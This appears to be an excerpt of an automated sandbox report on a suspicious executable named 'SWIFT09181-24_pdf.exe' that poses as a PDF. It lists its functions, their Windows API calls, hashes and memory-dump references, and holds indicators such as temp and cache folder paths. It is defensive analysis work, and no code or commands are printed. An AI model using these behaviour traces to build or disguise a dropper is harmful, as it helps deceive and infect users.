Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction ID: a29eaa7254a97888a18cbfd792fe15e84c6d283973f4e4682f27fdddc38ff468
Opcode Fuzzy Hash: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction Fuzzy Hash: 71D09E71654601AFEF098F20DE16F2E7AA2FB84B00F11562CB682940E0DAB158199B15

Function 00405700 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403293,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405706
GetLastError.KERNEL32 ref: 00405714

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction ID: 3f205c5890689a668e8791f8cf6ed098ce3dcc56284ebb1818e0a19aeae2b5ff
Opcode Fuzzy Hash: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction Fuzzy Hash: DBC04C30225602DADA106F34DE087177951AB90741F1184396146E61A0DA348415E93D

Function 100028A4 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.2635351082.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2635332703.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635371796.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635394979.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 00402786 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 004027A0

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction ID: c5c3fa32fc6d0159c61c67e46e8878479b4609e7a69e49ca0ebb3ecbbe822ed2
Opcode Fuzzy Hash: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction Fuzzy Hash: A0E04F71702514EFDB01AFA59E4ACAFBB6AEB40328B14443BF501F00E1DA7D8C019A2D

Function 0040229D Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004022D4

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction ID: 9c0f32427e9d9ad9a827debec1b0d32512713181f08a0e22f3c826aa7fb996c6
Opcode Fuzzy Hash: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction Fuzzy Hash: 90E04F319001246ADB113EF10E8ED7F31695B40314B1405BFB551B66C6D9FC0D4246A9

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000463,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction ID: 180cb462b76767e938a43b2c67eaf1f9418a6812eb156052446fd1a81c43fca4
Opcode Fuzzy Hash: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction Fuzzy Hash: 54E0BF76154108AFDB00DFA5EE46EA977ECAB44704F044025BA09E7191C674E5509768

Function 00405CDC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040320B,00000000,00416A20,000000FF,00416A20,000000FF,000000FF,00000004,00000000), ref: 00405CF0

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: d2761c75b63c3b5a1b4cb2cfb4b6a55fbed1fd27b7f8bdfe76624f6b99830631
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 2AE0EC3221425AABDF109E55EC08FEB7B6CEF05360F049437FA55E7190D631E921DBA4

Function 00405CAD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403255,00000000,00000000,00403079,000000FF,00000004,00000000,00000000,00000000), ref: 00405CC1

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction ID: 881bd9ca443264ea0180802fa9c86a3c9bfb0e6b132b989af4612487e9445b73
Opcode Fuzzy Hash: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction Fuzzy Hash: D1E08632104259ABDF105E518C00AEB376CFB04361F104432F911E3140D630E8119FB4

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.2635351082.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2635332703.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635371796.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635394979.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction ID: 4fb9e9dd77d4d4fa14caa6284e3e33111a790732df8c0ecbc47c365062d5febc
Opcode Fuzzy Hash: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction Fuzzy Hash: 4BD05E33B04100DBCB10DFE8AE08ADD77B5AB80338B248177E601F21E4D6B8C650AB1D

Function 0040414E Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction ID: f9280d834dafdcf82d79e279d22eccff0cbc279b2038abc2a2984d0c0ecbec1f
Opcode Fuzzy Hash: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction Fuzzy Hash: E3B01235180A00BBDE114B00EE09F857E62F7EC701F018438B340240F0CBB200A0DB08

Function 00403258 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction ID: 2811e774c662cae59278f25d6ecae3b2a92cb5be3fe339fd2c15133e28e6e099
Opcode Fuzzy Hash: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction Fuzzy Hash: D0B01231140300BFDA214F00DF09F057B21AB90700F10C034B344380F086711035EB4D

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.2635351082.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2635332703.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635371796.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635394979.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,00000008), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,00000008), ref: 004054F1
ShowWindow.USER32(00000008), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 004045B4 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,Call), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00404704
A, xrefs: 004046D7
Call, xrefs: 00404715, 0040471A, 00404725

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$Call
API String ID: 2624150263-3131679198
Opcode ID: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

